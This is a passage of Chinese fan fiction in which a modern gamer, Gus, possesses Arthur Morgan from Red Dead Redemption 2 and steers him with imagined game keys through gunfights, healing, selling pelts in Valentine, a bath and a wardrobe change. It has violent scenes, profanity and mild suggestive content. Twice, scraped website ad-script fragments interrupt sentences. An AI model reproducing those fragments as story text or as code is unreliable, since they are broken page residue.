话音戛然而止,继而是重物仆地的闷响。“操他*的!麦卡?!”第一个声音惊恐地喊,“趴下!麦卡死了!这疯子把他爆头了!” “放屁!怎么可能?我——” 砰! “贾斯汀?贾——” 砰! “蠢货!他就一把破手枪!给我压制住他——” 砰砰砰砰! 幸存的枪手们惊慌失措,乱枪如暴雨般倾泻而来。古斯迅速控制亚瑟缩回掩体,长舒一口气:“总算搞明白了,你得看得到,我才能锁定。” 亚瑟怒火中烧:“看到?你他*的在开玩笑吗?我他*一直看得明明白白!睁大你那该死的邪祟眼睛——” “闭嘴!你个顽固的蠢货!”古斯骂回去,“我们视角不一样,让我来给你开开眼——” 不等回应,古斯操纵亚瑟冲出掩体。就像耳机还在,他能听到木箱碎屑在靴子下嘎吱作响,寒风呼啸着掠过耳畔。他控制亚瑟挺直身躯,静立如松,自己的精神也随之集中,集中,仿佛要刺破现实的薄膜,直到—— 砰。 一声不存在于现实的沉闷枪响,伴着隐约的读秒声,世界蓦地笼上一层昏黄滤镜,如同被浇下粘稠的糖浆。所有的动作都变得缓慢,雪花和烟尘在空中优雅地起舞,子弹划出清晰可见的带火轨迹。 还有面前的敌人。他们一切动作都变得迟缓,变得可预测,如同被困在蜜糖中的昆虫。 死神之眼。亚瑟·摩根的标志式能力。在游戏中,这项技能让玩家短暂进入时间近乎静止的状态,精准地标记并射杀多个目标。 穿越前,启用这一能力,需要摁下鼠标中键。但在这,明明键位控制全都有效,构想鼠标却不起作用。不过,若将精神凝聚到极致,自己就能暂时充当那只缺失的鼠标! 世界笼罩在琥珀色的滤镜下。古斯悠然移动亚瑟的手臂,对准每一个暴露的敌人,准备将扳机扣—— 哐! 仿佛有谁狠狠一撞。斑斓的现实色彩顷刻扑面,世界重新恢复正常速度,还有亚瑟·摩根的破口大骂: “你个该死的疯子恶魔!你给我下了什么邪门药?!你他*是想害死我——” 砰! 一团血雾从亚瑟的右腿爆出,古斯的视野跟着一个踉跄,正看到血液顺着亚瑟的裤管迅速蔓开,在雪地上留下一串刺眼的红点。 “该死!”古斯咒骂,本能地操控亚瑟回到掩体,发现左下角的小地图上新刷出三个图标。 熟悉的、各自被圆圈框着的白色游戏图标。心形标志代表血量,闪电标志代表体力,眼状标志代表死神之眼。此刻,因为腿上的新伤,曾经半满的心形正以肉眼可见的速度减少,只剩下原来的三分之二。 “见鬼。”古斯低吼,“你根本不该中枪!” “放屁!”亚瑟咆哮,“要不是你个邪祟突然发疯,我能冲出去当活靶挨枪子?!等等,你又要干什——唔!” 一瓶伤药从包中突然出现,随着代表使用的E键,不由分说地被亚瑟的手怼进亚瑟自己的嘴。这趟穿越大概就这点好。古斯满意地看着亚瑟的双唇被瓶口强行撑开,那张先前还不服的嘴此刻只能发出含糊不清的呜咽——那个喉结也开始不受控制地上下滚动。 亚瑟的眼睛瞪得溜圆,像两颗即将爆裂的晶蓝玻璃珠。惊恐和愤怒在那对外蓝内金的漂亮虹膜里交织,仿佛暴风雨中翻腾的海面。几滴药水从他挣扎得如同抽搐的嘴角滑脱,顺着下巴新长出的深金色胡茬蜿蜒而下,滑过一小块形状不规则的浅色疤痕,在那截被迫仰起的脖子上留下一道湿漉漉的痕迹。 一瓶药水灌下,状态栏里,表示生命的心形重新膨胀。视野之中,亚瑟肩头与大腿外翻的血肉正以肉眼可见的速度蠕动愈合。虽然衣上弹孔和血迹依然清晰可辨,但细小的弹片和污物正被新生的肌肉组织排斥出来,粉白的新皮肤正快速覆盖在伤口之上,宛如时间在倒流。 当然,还有亚瑟的表情。那张脸此刻写满了屈辱和怒火。他用袖子狠狠擦过下巴和脖子上的药水,粗糙的布料摩擦着皮肤,那道小块的伤疤在他粗暴的动作下若隐若现。 “你这该死的恶魔!”他咆哮,“你对我做了什么?!” “我救了你的命,白痴。”古斯冷冷地回击,“以你那喷泉似的出血量,你觉得你能活着爬回营地?” 亚瑟怒吼:“放你*的屁!要不是你这邪祟控制我,我能被那些该死的子弹打中!?” 古斯忍无可忍:“闭嘴!要不是你这头倔驴抗拒我,我能闪不过那些子弹?!” “他*的中弹的是我!你个躲在我脑子里的蛆虫!” “我是蛆虫?那你的脑子是什么?烂泥坑吗?” “——我的上帝啊,这是什么情况?” 不远处一个声音迷惑地问,“那个疯子又一个人吵起来了?吵得这么热闹?这地方真的在闹鬼吗?” 4. 洗澡 《荒野大镖客2:救赎》是一款自由度和拟真度都很高的游戏。 在那个由数据构成的虚拟世界里,每一只可见的猎物都能被猎杀,每一个路人的帽子都能被拾取。而作为前期灵魂人物的亚瑟·摩根,更是需要定期进食以维持体力,安排睡眠以巩固生命值,甚至还得注意个人卫生,时不时洗个澡,修剪胡须,打理发型。 但现实世界的操作终究比游戏复杂,而亚瑟·摩根本人,也绝非一个温顺听话的宿主。 那一天,在消耗了亚瑟身上近两成的子弹,自家物品栏里又一瓶伤药,外加大幅提升了对各种粗俗脏话的运用熟练度之后,古斯终于操控亚瑟解决了被引来的敌人。 待到撤离路上再解决一头饥饿的灰熊,又一波循声而来的匪帮后,亚瑟彻底丢掉了对某个能凭空变出补给的神秘声音的、本来就没多少的敬畏,至于古斯,也一并粉碎了穿越前对某个硬汉角色的粉丝滤镜—— 在互相问候了从A到Z的全套脏话词典后,不会有谁还能继续心平气和地待在从前那套眼光里的。 反正现在的古斯每天都很想狠狠地揍亚瑟·摩根的屁股。 不过,不得不说,亚瑟·摩根的身材真是很不错。明明官方设定里,这位的身高离1米9还差那么几厘米,结果,不仅游戏建模像极了突破的,现实中居然也是一副堪称顶级的天赋骨架。那套长腿翘臀、大胸宽肩搭起来,强壮、骁悍,而不显臃肿,硬是让他看着比一些真过1米9的比例还好。 古斯静默地注视着金褐短发的男人缓缓地直身、伸展双臂、舒展筋骨,感觉看到一头正在伸懒腰的美洲狮。而当这位转过身,跳动的篝火更是恰到好处地勾勒出那对厚实的胸肌,收紧的腰线—— “嘿。” 亚瑟突然发出一声响亮的叹息。 古斯:“……?!!” 古斯立即心虚地调开视线,装模作样地打了个哈欠,假装刚刚上线: “——嗯?怎么?” “睡够了?你这奴隶主邪祟?”亚瑟嘲讽地问,依旧对他的一路观赏一无所知。“我还以为你被这点血腥吓晕了。” 大约是认为自己在辛勤劳动,而指使自己干活的邪祟竟在睡觉,男人接近篝火的每一步都踩得怨气深重,仿佛要把地面踏出一个坑。 “活干完了。一共五张狼皮,四张完美,一张破损。按规矩,两张是帮派的。剩下的你想怎么分?” “哪两张归帮派?”古斯顿时饶有兴致地问,“有那张破的?” “那我得赔上两瓶上等威士忌把它赎回来,免得一看到它就想起胳膊乱晃的噩梦。”亚瑟摇头,“行了,别磨蹭,挑你的。然后我们去瓦伦丁,把这些都处理掉。 这回古斯真的诧异了:“现在就走?你不累了?” “没得选,伙计。”亚瑟耸耸肩,声音里带着一丝不耐烦,“再待下去,说不定得跟新一波饿狼抢夜宵。而且白天满身血进城太招眼——” 说着,他突然站直,双臂略张,似乎是在向推测中的古斯所在展示:“瞧我这身,活像刚从屠宰场爬出来。还是说,你有什么巫术能把我变干净?” 这趟出门,他们俩,抑或说亚瑟的主要任务,是去瓦伦丁,给营地带回补给。因此,亚瑟穿了件修身的白衬衫,又套了件剪裁合身的短外套,俨然一位城中绅士。谁都没料想到,还没遇到城里人,先遇到了郊狼。此刻,亚瑟只穿着衬衫,领口半敞,篝火和月光交织在他身上,将他浑身斑驳的血渍照得忽明忽暗。 实话实说,确实很招眼,不过不全是亚瑟自以为的那种招眼。 “当然。”古斯一本正经地说,“你现在脱光了,躺下睡一觉,别惦记你的衣服,没准明早起来,它们就能刷新完毕、完好如新。” “哈,真有趣,恶灵先生。等你举办你的魔术表演,记得提前告诉我,好让我准备些烂番茄,也许还能顺便帮你找顶小丑帽。” “放心,如果真有那一天,我会让你好好体验的。” “‘如果’。‘真有’。你真该和达奇坐在一桌追忆过往。”亚瑟嗤之以鼻,“可惜啊,现在陪你瞎扯的是我。别再废话了,选完赶紧施展你的神奇邪术,我们得在这儿变成其他野兽的大餐桌前离开这。” “‘邪术’?摩根先生,这就是你让别人帮忙的态度?” 亚瑟嗤笑一声。 “呵,皮毛越放越便宜,这可是你的原话。”他用手点了点自己的额头,仿佛在指责一个共享视野的对话者。“别想偷懒。要是你那些诡异的把戏能派上用场,现在正是时候。” 古斯:“……” 朋友,你指错地方了,我默认视角是盯着你这西部男模的完美倒三角。 不过,好吧,好歹是从邪术升级到了把戏。 “既然如此,破的归你,好的归我。”古斯故意道,“怎么样?” 非常不公平的方案,亚瑟却混不在意:“我没意见。反正是你开的枪。” 古斯:“……” 好像是占到便宜了,但感觉又被嘲讽了。 不对。不是感觉。这就是被嘲讽了。 带着一丝微妙的不爽,古斯默默构想召唤马匹的H键,于是,亚瑟的右手自动抬起,两根搭往嘴边,打出一个响亮的忽哨。 几乎是立刻,营地外围传来了马蹄踏过落叶的沙沙声。一匹棕白花纹的田纳西步行马从不远处的树影中踱步而出,进入篝火的光圈,看起来一直在附近警惕地守候。 花马来到亚瑟身边,亲昵地用鼻子蹭了蹭亚瑟的肩膀。 亚瑟脸上浮出一股由衷的欣喜,但他的躯体却纹丝不动。 不用这家伙出声,古斯再度构想按下G键,马匹互动激活,男人的手臂这才抬起,熟练地拍了拍花马的脖子。接着,随着另一个键位,他弯下腰,抓住一张狼皮的边缘,用力一甩,猎获品便平整地落在了马鞍后方。 然后是第二张,第三张,每一张新添加的狼皮都完美地叠在前一张之前,但从侧面看,无论堆叠了多少张皮毛,马背上的轮廓依然保持不变,总体厚度没有丝毫增加。 最后一张放置妥当,控制暂时解除,金褐头发的男人看着花马,摇了摇头:“见鬼,我发誓,这邪门事我看上多少回都会觉得不对劲……为什么你能让我的马驮厚皮子像是驮张纸,却不能多载几具猎物?” “这没办法。”古斯叹口气,“游戏规则就是这样。” 亚瑟问道:“你就不能……钻研钻研,让你那邪术再厉害点?” “说实在的,摩根,我要能搞清楚如何‘再厉害点’,至于还附着你的身?” “也是。”亚瑟嘀咕,不自觉地抓了抓下巴上短硬的胡茬。不需古斯再遥控,他自行弯腰,抓住一具狼尸的前腿,衬衫下的肌肉发力,将它轻松地转移至肩,又稳稳地放上马背。 待回身,亚瑟的目光落向地上剩下的猎物,沉重地叹出口气: “真他*可惜,浪费这么多的好肉……” 古斯也忍不住叹气:“确实可惜。” “四头完整的狼……”亚瑟喃喃自语。 “不算完整。”古斯提醒道,“最好的那部分我们已经割走了。” “但还是很可惜。”亚瑟坚持,眼神依依不舍。 “……没错。”古斯不得不同意。 他们各自无能为力地心痛了一会儿,亚瑟问:“那么,就把能卖的都卖了?” “只能这样了。” 他们即刻启程,夜幕下的荒野像是一片未知的海。月光如帆,树影如浪,枝叶交错如暗礁,在这片漆黑的海域中起伏不定。渐渐地,森林的汪洋开始退潮,树木变得稀疏,月光得以长驱直入,为大地铺上一层流动的银纱。 马蹄下的地面也在悄然变化。最初是松软的荒野泥地,随着行程推进,地面逐渐变得坚实,那是无数旅人和马匹留下的印记。再往前,隐约可见两道平行车辙——那是马车车轮日复一日碾过留下的痕迹。 当瓦伦丁模糊的轮廓初现于地平线时,亚瑟皱了皱鼻子。 “嘿,伙计,”他小声嘟囔,“闻到了吗,那股味道?” “闻不到。感觉不到。也尝不到。”古斯平静地回他,“第无数次重复,亚瑟,我只能看到和听到。” 亚瑟轻哼一声,似乎是对这回答有些意外:“第无数次确认,伙计,你还是那个落后的邪祟。古怪又落后。” “没有比你个满身血迹还自言自语的更怪了。说说吧,你那敏感的鼻子闻到了些什么?” “牛粪、马尿和劣质皮革。”亚瑟耸肩,“再加掺水威士忌和焚烧的烟草。哦,别忘了,还有腐烂的木头和发霉的干草。” 他顿了顿,鼻翼微微翕动,似乎在仔细品味空气中的每一丝气息:“嗯……还有股甜味,若隐若现,看来今天的第一批面包快出炉了。” “真的假的?”古斯怀疑地问,“铺天盖地的臭味中一缕面包的幽香?你确定不是你的脑子防止你被臭晕编织出的美好幻想?” 瓦伦丁的灯火越来越清晰,马蹄声也由奔驰的哒哒转为和缓的啪嗒。亚瑟嗤笑,轻扯缰绳,转向一条无人小巷: “我的鼻子好得很。再说了,事一办完,我就能弄到至少一篮刚出炉的好面包。所以,不,这他*不是幻想。”男人摇头,神情变得严肃: “现在听好了,按我们说好的,进城后,你别给我惹麻烦;除非确定周围连只老鼠都没有,否则也别跟我搭腔。要是你不想让我们被当成什么邪门歪道的东西,被开黑枪扔进臭水沟,我们就得低调行事,不能招来任何不必要的注意。明白了吗,古斯?” 先前还是伙计,现在成了古斯。古斯鄙视道:“原话返回,牛仔。只要你不先惹麻烦,我乐得睡觉。” 亚瑟满脸冷漠地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下马卸货。 “至少在你附上我之前,我解决麻烦从来用不着先挨上几拳,更别提挨枪子。” 古斯:“……” 可恶。竟无法反驳。 “晚安!到时别求着我救你。” “做你的美梦去吧,幽灵。” 古斯:“…………” 今日份想揍亚瑟·摩根的屁股,1/1,达成。 可惜在重获实体之前,这事目前也仅限于想想。 古斯愤然闭麦,旁观亚瑟将狼皮一块一块地转移至鞍——非常奇妙,当他操作亚瑟,只需构想一个键位,这些皮毛就会被压缩成物品栏里的一个小图标,变成马鞍后一块不起眼的小皮垫。但这些,亚瑟自己却无法实现。 亚瑟能达成的,只有“解压缩”,又或者,按这家伙的说法,“解除邪术”:每撤下一张,皮毛就会恢复成完整真实的尺寸。 五张狼皮,一头狼,并狼牙狼心脏等一些能出售的零碎物件,很快占满了马背。金褐短发的男人重新走出小巷,牵着马,大步流星地穿过瓦伦丁泥泞的街道。先往屠夫的店铺,熟练地讨价还价,处理了猎物和破损的皮毛。随后,又转向镇中商铺,一番谈判,成功卖出了剩下的四张。 最终,这场意外遭遇,给他们带来了15.7美元的收入——在这个金本位制的年代,普通工人辛苦一整天,薪资也不过是1到2美元。而此时1美元的购买力,相当于后世的三四十美元。这一趟的收获,足以让一个普通家庭生活无忧好几周。 处理完猎获品,亚瑟径直前往旅馆,轻车熟路地要了一个房间,一项洗衣服务,自然,还有个热水澡。 在游戏里,一次洗浴的价格,是25美分。在这个真实的1899年,价格也大致相符。这个价位,在这个时代的绝大多数旅馆,都可以获取一个带木制浴缸的浴室,并配套的热水、肥皂和毛巾。不同的是,游戏建模有时还会附带一瓶酒;而现实中,额外的物品,要付额外的价。 敲门声响起,服务生推着一辆小推车进屋,放下了啤酒,炖肉,沙拉和一篮面包。古斯的视线下意识挪近,悄悄往鹰眼一切,发现面包、炖肉、浴缸热水,乃至亚瑟身上,都有着不甚明显的纤细线条往上蒸腾——这是热度和气味在这个视角下的具象化。 这家旅馆的隔壁就有面包房,所以,在瓦伦丁边上那会儿,亚瑟说不定真的品出了那点甜香。 但这让此刻只是一个视角的古斯更加不爽了。 “你似乎在花我的那份。”古斯酸溜溜地说。 “回头还你。”亚瑟懒洋洋地回应。 这个像猛兽一样结实的男人此刻深深地沉在浴缸里,只伸出一条湿漉漉的手臂,努力去够浴缸桌边的啤酒杯。他的臂长很标准,但他坐得深,杯子又放得远,几趟尝试,只让水面随着他的动作荡漾起伏。 古斯更酸了:“你就不能动动你的懒屁股吗。” “我闻到了嫉妒的味道。”亚瑟慵懒地说,那双外蓝内金的眼睛半睁半闭,水珠顺着与头发同色的浅色睫毛缓缓滑落。他继续尝试,手臂肌肉一次次紧绷。最终,他不情不愿地动了动腰,这才如愿如愿以偿地抓住了酒杯。 “来。”男人得意洋洋地说着,对着空气做了个浮夸的干杯动作,但一滴酒液都没洒出:“我替你尝尝。” 你个混蛋。 古斯瞪着亚瑟,亚瑟仰头喝酒,喉结随之上下滚动。那双眼睛闭了起来,那张脸上也浮出享受的表情: “嗯……”他发出一声舒爽的轻叹:“还行,不过想要喝点好的,还得去圣丹尼斯。”他咂了咂嘴,重新睁开眼,蓝金色的虹膜在水汽中显得格外明亮: “伙计,要是哪天你能变成个活人,我倒是不介意请你去那喝一杯。不过在那之前,”他又喝下一口,“只能我来享受了。” 你个******。 古斯气急败坏,古斯无能狂怒,古斯眼睁睁地看着亚瑟喝完大半杯,随意把酒杯在近位一摆,舒展起双臂,居然还翘起了一条腿。 晨光与灯光交织,水蒸气缓缓升腾,在狭小的浴室里织就一层朦胧薄纱,营造出一股能把人浸软的舒适氛围。古斯愤怒地移开镜头。 “怎么?又不吭声了?”亚瑟懒散地问,“我还以为你会庆祝。” 古斯不得不调回视角:“庆祝什么?” “虽然你还是古怪又落后,每天都在折腾我,但你至少不像刚开始那么废物了。” “……我该谢谢你?” “该道谢的是我。”亚瑟说。“我那把春田,向来需要装弹。但这一次,你让我跳过了这个步骤。” 不知巧合还是无意,那双带着金环的瑰丽蓝眼突然抬起,正好直勾勾地对上古斯的视线。 “从那见鬼的犁刀村到马掌望台,横跨大半个州,整整三周又一天,”亚瑟缓缓地说,“你终于露出了真本事。” 5. 换装 三周又一天……天天这么互相嘲讽大骂阴阳怪气,居然已经过去二十二天了。 古斯莫名地有些感慨,镜头再拉近,俯视泡在浴缸里的亚瑟。从这个角度,那副结实的躯体几乎占满了大半个浴缸。 没有游戏里的泡沫遮挡,水面恰到好处地停留在亚瑟胸口上方,远比建模更饱满的胸肌正随呼吸缓缓起伏。浅淡的金褐色胸毛湿透了,紧贴在皮肤上,把那道深邃的中缝描摹得更为明显。 不知是察觉到了视线,还是想更舒适地享受这个澡,亚瑟缓缓地将身体沉得更深,直到热水没过宽阔的肩膀。水面轻轻荡漾,在锁骨周围形成细小的涟漪。 好景致被热水和蒸汽遮掩,古斯遗憾地收回视线。“怎么突然说这个。”他问道,“你先前不是还催我钻研钻研?” “不一样,伙计。”亚瑟低哼,依然懒洋洋地沉在热水里,眉头却微微皱起:“我知道你不对劲。从一开始就他*的不对劲。你能变出食物和药物,见鬼,这简直比从帽子里掏兔子还荒唐。凭空出现的东西,怎么可能是正常的。” 古斯饶有兴致道:“可你吃过这么多后再后悔,似乎已经晚了,不是么。” “哈。”亚瑟嗤笑一声,“至少我目前还没长出一对该死的犄角,或者少条腿。”他又稍稍坐直了些,指向自己的肩和臂:“瞧瞧,这儿,几个小时前还在流血;这儿,前几天被碎石刮过;这儿,再前些日子挨了至少三发子弹,那时我还以为得准备找墓地了。” 这太像是翻旧账了。古斯干咳一声,正要回应,却见亚瑟的手指自行摸过光滑的皮肤,显然,这并不是亚瑟在找他算账—— “但现在?没有淤青,没有疤痕,连痣都不见了。见鬼,连老茧都没了。这感觉就好像被剥了层皮,又重新长出来。”亚瑟说着,展示似的张开五指,“看看这双手,除了枪茧,什么痕迹都没剩……我完全能去假扮个该死的上等人了。” “哦?”古斯更感兴趣了。“那么,你想假扮成什么?银行家?资本家?还是哪个远道而来的外国贵族?” 亚瑟冷哼。“得了吧。我这副长相,怕是连门童都骗不过。那些人身上那股假模假式的味道,我可装不出来。” “自信点,朋友。”古斯乐了。“你长得还行,真的。虽然比不上照片里的何西阿,但他老了。约翰倒是比你年轻,但体格没你好。四舍五入,你就是范德林德帮的头号门脸。” 亚瑟嗤之以鼻:“门脸?哈,那还是让比尔或者达奇去吧。我可没兴趣当那个站在最前堵枪口的。”他摇头,水珠从短发滑落。“说真的,这些变化邪门得很,就算是传说里的巫术都没这么离谱。不过至少,这些怪事还只发生在我身上。带来变化的那些东西,我能看得见,能摸得着。” 男人停顿了一下,眉头皱得更深:“但这次对付那头郊狼,你让子弹绕过我的手,直接跳进了枪里……这不是什么小把戏了,伙计。照这样下去,说不定哪天你就能绕过扳机,直接送出子弹。” “那么,你想表达什么?”古斯轻笑,“亚瑟·摩根,因我这个无形邪祟的邪术感受到了威胁?” “当然,毕竟你这邪祟是在我身上捣鼓。要是你那些古怪把戏出了岔子,最先遭殃的肯定是我——等等,”亚瑟的表情忽然变得若有所思: “你有哪怕一天不出岔子吗?” “随你怎么说。”古斯不以为意,“我还在学习阶段,亚瑟。鉴于在这跟我抱怨的还是你,我觉得我的进度并不算太坏。” “‘还是你’?怎么,你这邪祟还能换人祸害?” “怎么,舍不得我了?” “是啊,等你走了,我要大喝一天,从此以后,就只剩下我和我的这双手相依为命。老天,没人瞎指挥的日子,想想就让人心绞痛。” “别嘴硬了,亚瑟。我知道你心里爱着我。” “没错,你说对了,你可是我最爱的寄生虫。”亚瑟嗤笑,顿了顿,做出一副思考的样子,“哦不,我忘了马厩里的那些藓。抱歉,古斯,你得屈居第二了。” “呃,看来我还得努努力,直到把你完全填满。”古斯玩味地说,“不过,亚瑟,我劝你直面内心。” “嗯哼,我这就直面一遍……糟了,伙计,我发现你还得往后挪挪。”亚瑟沉吟道,“第一是藓,第二是营地里那些烦人的老鼠,然后才到你个自作多情的邪祟。” “是吗?”古斯问,“那你如何解释我让你无需装弹。” “噢?原来你连自己的能力都搞不明白?” “毕竟我也是头一次附身你。”古斯非常坦然。“我唯一所知的是,有些时候,你铁了心反抗我,可以暂时把我踢出去。就像在雪山,在犁刀村,我正准备让你大杀四方,你却拒绝我。但现在不一样,亚瑟。你对我打开了,不是么。” 正对着他的镜头,金褐短发的男人翻了个白眼,干脆地闭上眼,缓缓沉入热水。先是厚实的胸膛,然后是肩膀,最后是脑袋。水面荡起涟漪,几个气泡悠然冒上,在斜来的光线中无声破裂。 片刻后,水面微微起伏。亚瑟两臂伸展,堪称优雅地撑出水面。“我?打开?”男人重复,随意地擦了把脸,蓝金色的眼睛直视上方:“真的吗?古斯伙计?据我所知,不管我怎么做,结果都是一个鬼样。” “以你的说法,因为我反抗了你,挨枪子。可是,我不反抗你呢?也是挨枪子。这两者之间总该有点差别吧?还是说,在你眼里,只要我还没把你从我脑子里轰出去,就算是‘打开’了?” 古斯不理他的嘲讽,平静道:“我的控制是渐进的,亚瑟。我依然不确定这如何发生,但其中少不了你的配合。” “呵。听起来我该问你要点报酬了,伙计。难不成你还想我白配合?” 古斯没立即回复,只让镜头绕着亚瑟转过一圈,又在浴室转过一圈,沉思。 因为初来乍到,不清楚死亡惩罚,不确定现实和已知的游戏信息差异具体多大,外加不想把关系搞太僵,他操作亚瑟时一直很小心。近一个月来,从雪山上的废弃小镇,到如今大平原边缘的马掌望台,除了那些不可避免的战斗,也就试验过背包的食物药品,和马匹的超常载重——哦,还有先前紧急状况里灵光一现,激活的数字小键盘外挂:无需装填。 大多数时候,他并不会强行操作亚瑟,只专注于跟拍和观察。要操作前,也会事先打声招呼。这让他和亚瑟从最初的互相辱骂指责,进化到了骂战之余还能聊天扯淡,但也让他获取的信息有限。 眼下倒又是个好机会,让亚瑟来配合…… 浴缸突然哗啦一响,亚瑟坐直了,蓝金色的双眼也微微眯起。 “古斯,你又在打什么鬼主意?”他警觉地问,肌肉微微绷紧,仿佛一头进入戒备状态的山狮。“见鬼,你这么一声不吭,搞得我背后直发毛。” 古斯回神:“放松,亚瑟。我只是在琢磨怎么给你报酬。” “哦?还真有?”亚瑟偏过头,双眼略带好奇地扫视四周:“那就别卖关子了,说吧。” “老实说,一,我不确定能否成功。”古斯坦诚道,“二,我不确定有无副作用。” “真有说服力啊,伙计。让我猜猜,又是你那些神神叨叨的邪术把戏?” “你好奇了。”古斯笃定道,“而且很想要。” “得了吧。我倒是很想要达奇的计划靠谱点,或者让该死的老鼠迈卡闭上他的臭嘴,哪怕一天——永远闭嘴更好,我一点都不介意。” “很遗憾。不能。这还是只关于你的。” “哦?尊敬的邪祟大人,难道你竟还能把我的悬赏令变没?” “也不能。闭嘴吧,亚瑟。去你开的房间。” 金褐短发的男人挑了下眉,从浴缸里站起来,随手抓过一条看起来有些年头的浴巾,草草地擦了擦,然后围着腰,光着脚,大大咧咧地进了斜对面。 现实中的瓦伦丁远比游戏里的大,店铺也更多。不知是否为巧合,亚瑟入住的旅馆正是游戏里那家标志性的住所,获得的房间虽然不是玩家固定进入的那间,但摆设也大同小异:壁炉,单人床,床头柜,衣柜,桌椅,镜子。 亚瑟反手锁上房门,转身面对着空荡荡的房间:“好了,邪祟先生,接下来你准备表演什么把戏?” “接下来,”古斯平稳地说,“我来操作你。” “在这?”被操作对象挑眉,继而大大方方地点头,“行吧。门都锁好了,正好方便你发挥。需要我躺到床上去么?” 目标在即,古斯懒得跟这厮斗嘴。直接构想按键W。 亚瑟的身体立即反应,直接走向床头,随即坐下。接着,又自顾自地站起,以一种近乎滑稽的速度跨到床尾,再度坐下。 “伙计,你在让我做什么?”亚瑟疑惑道,“进行你们邪祟的某种仪式?” 话音未落,他再一次不由自主地站起。这回,他直直走到房间角落,一个不起眼的小木箱前,像被钉住一般定在原地。 这是旅馆给客人用来存放贵重物品的箱子,有些还会配上一把掉漆的铁锁。当然,在房间被售出时,它里面通常空空如也,就像亚瑟营地帐篷里的钱箱。 亚瑟审视眼前的木箱,眉头抬起:“那么,我的报酬就在这里面?是几只神奇的蛀虫么,能啃出金子的那种?” “你在紧张,亚瑟。”古斯嘲笑道,“你怕我真的又变出什么。但,不好意思,我还真能。” 毫不犹豫地,古斯再度构想按键E。游戏中,这是坐下的指令,也是与个人物品互动的触发。 亚瑟的手不受控制地伸进木箱,而古斯的视野,也滑下一个熟悉的界面——存档中的衣柜目录。各式各样的服装归作分类,整整齐齐地排下。唯一不同的是,没有一个虚拟的亚瑟即时展示更换效果。 不过,眼前却有个活生生的亚瑟。 ……而且现实里这家伙真的好深一条沟。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>古斯早知道,亚瑟·摩根有一把浑厚粗犷的声音,仿佛是陈年威士忌与粗砂纸的完美调和。这款声音不会是仅从喉咙迸发,而需要一副起伏的胸膛加以回荡增幅。 此刻,因弓身伸手探入木箱的动作,亚瑟的背部肌肉微绷,腰腹肌肉收紧,而那声音质感的重要源头——两块饱满的胸肌——却在这般姿势下放松了,就在那晃。 我怎么就穿成了个视角。古斯恨恨地想。 “我只摸到了木板,伙计。”亚瑟在浑然不觉地嘀咕,“应该还有灰。要是你想用它做棺材,恐怕得先好好擦擦。” 古斯没理他,重新专注于衣柜界面,选中了一块领巾。继而恶趣味地将镜头对准亚瑟的脸——果不其然,几近同时,那双蓝金的眼睛瞬间睁大,嘴唇也微张,似乎是想说什么,却又一时语塞。 存档里的领巾放到现实,并非像游戏里那样直接挂上亚瑟的脖子。古斯看着亚瑟的手缓缓从箱子中抽出,指间多出一块宝石蓝色的宽丝绸领巾。阳光透过窗户洒进来,让它是像一角流动的海洋。 随着他的确认装备,亚瑟自然而然地展开领巾,流畅地绕过自己的脖子,打了个优雅的结。 “你的报酬。”古斯说,控制亚瑟走到镜子前。“还满意么。” 亚瑟皱眉眨眼,低头瞥了眼胸前,又抬头望向镜子。他伸手摸了把领巾,似乎在确定发生的一切是否真实,脸上表情由震惊,逐渐转为一种难以言喻的复杂: “这就是你们上等人的品味?” 意料外的回复。古斯问:“上等人?我终于从邪祟升级了?” “上等邪祟。”亚瑟哼笑,“否则很难解释,为什么你让我光着膀子,却要勒上领结。” “看来有人是嫌不够啊。”古斯啧了声,“好吧,让我再看看——” 衣柜界面激活,【自定义装束1】选中。除了先出的领巾,一件一件地被亚瑟从木箱中掏出,又逐一穿在身上。 很快,镜中映出一个焕然一新的亚瑟·摩根:头戴一顶缠海蓝绸带的深色灰帽,白衬衫上也系着宝蓝色的丝绸宽领巾。宽阔的胸膛被一件深色马甲勒着衬着,同色系的长裤利落地没进锃亮的黑色皮靴,双手也戴上了一副露指的黑色皮制步枪手套。 从头到脚,无一不散发着精心和金钱的味道。但那双带金环的锐利蓝眼,却流露出几分难以掩饰的不自在。 “够了,伙计。”亚瑟叹口气,“你这身行头不适合我。”他嘀咕,“给我换回我的毛巾。” “相信我,这身很好。”古斯欣赏地说,“你穿着它去抢劫,警察非但不会怀疑你,还得恭恭敬敬地喊你先生,向你询问嫌犯。” 亚瑟摇头:“我得骑马,打猎,干活,收债,搞不好还得在烂泥里打滚。所以,不。留着你自己穿。” “这就是属于你的衣服。你看,领巾上都绣着你的姓氏首字母。” “你真不该这么干。”亚瑟仍然摇头,“卖掉时肯定得折价。” “你可以卖给我。” “你连实体都没有,伙计。”亚瑟继续摇头,“想给我报酬,不如来点实在的。” “比如?” “这双靴子,还有手套。谢了。”亚瑟说,开始去拆脖上领巾,“至于其它的,就当是给稻草人准备的——嘶。” 他突然倒抽一口凉气。古斯疑惑地调转镜头,看着亚瑟一把拽开绸巾,顿了顿,又伸手抬起帽子。 “怎么?”古斯询问。 亚瑟没有回答,只是皱着眉,左手拇指谨慎地探入右手手套的手背。又是一声倒抽冷气,他的表情由困惑转为恼火。 “该死的。”亚瑟低声咒骂,“这不是你搞的鬼吧?” “你先告诉我,我又搞了什么鬼?”古斯反问。 “你给你这些邪术变出的衣服涂了胶水。”亚瑟冷笑,“又或者,它们跟你一样,突然决定要当我的寄生虫。你说是哪种情况?” “你是说,它们粘住你了?”古斯诧异道,“不应该啊?我操作一下——” 衣柜界面激活,【自定义装束2】选中,更换装束确认。亚瑟的手指立即开始去解纽扣。马甲滑落,衬衫的第一粒扣子也顺利地解开,然后是第二,第三,第四—— “停。”亚瑟喊,继而,他眼睁睁地,看着自己的手,仿佛被无形的线操控,慢条斯理地将第四粒扣子重新扣好,胸前被拉扯的刺痛感也随之平息。 他的体毛不算特别旺盛的那款,但被衣物覆盖的地方,它们像是被什么看不见的东西紧紧黏住,稍有动作,就会带来难耐的不适。 理智告诉亚瑟,这可能是古斯那些见鬼的戏法又出了岔子。但镜子里,他竖着领子,敞着三个纽扣。而这片露出的皮肤上刚好没有什么明显毛发,只有若隐若现的胸肌中缝。 亚瑟低头,目光确认地扫过自己的胸口,又盯回镜子,嘴角抽搐:“我真怀疑你是故意的。怎么,想把我剃干净,好留下你的标记?” 6. 交易 亚瑟·摩根神情不善。 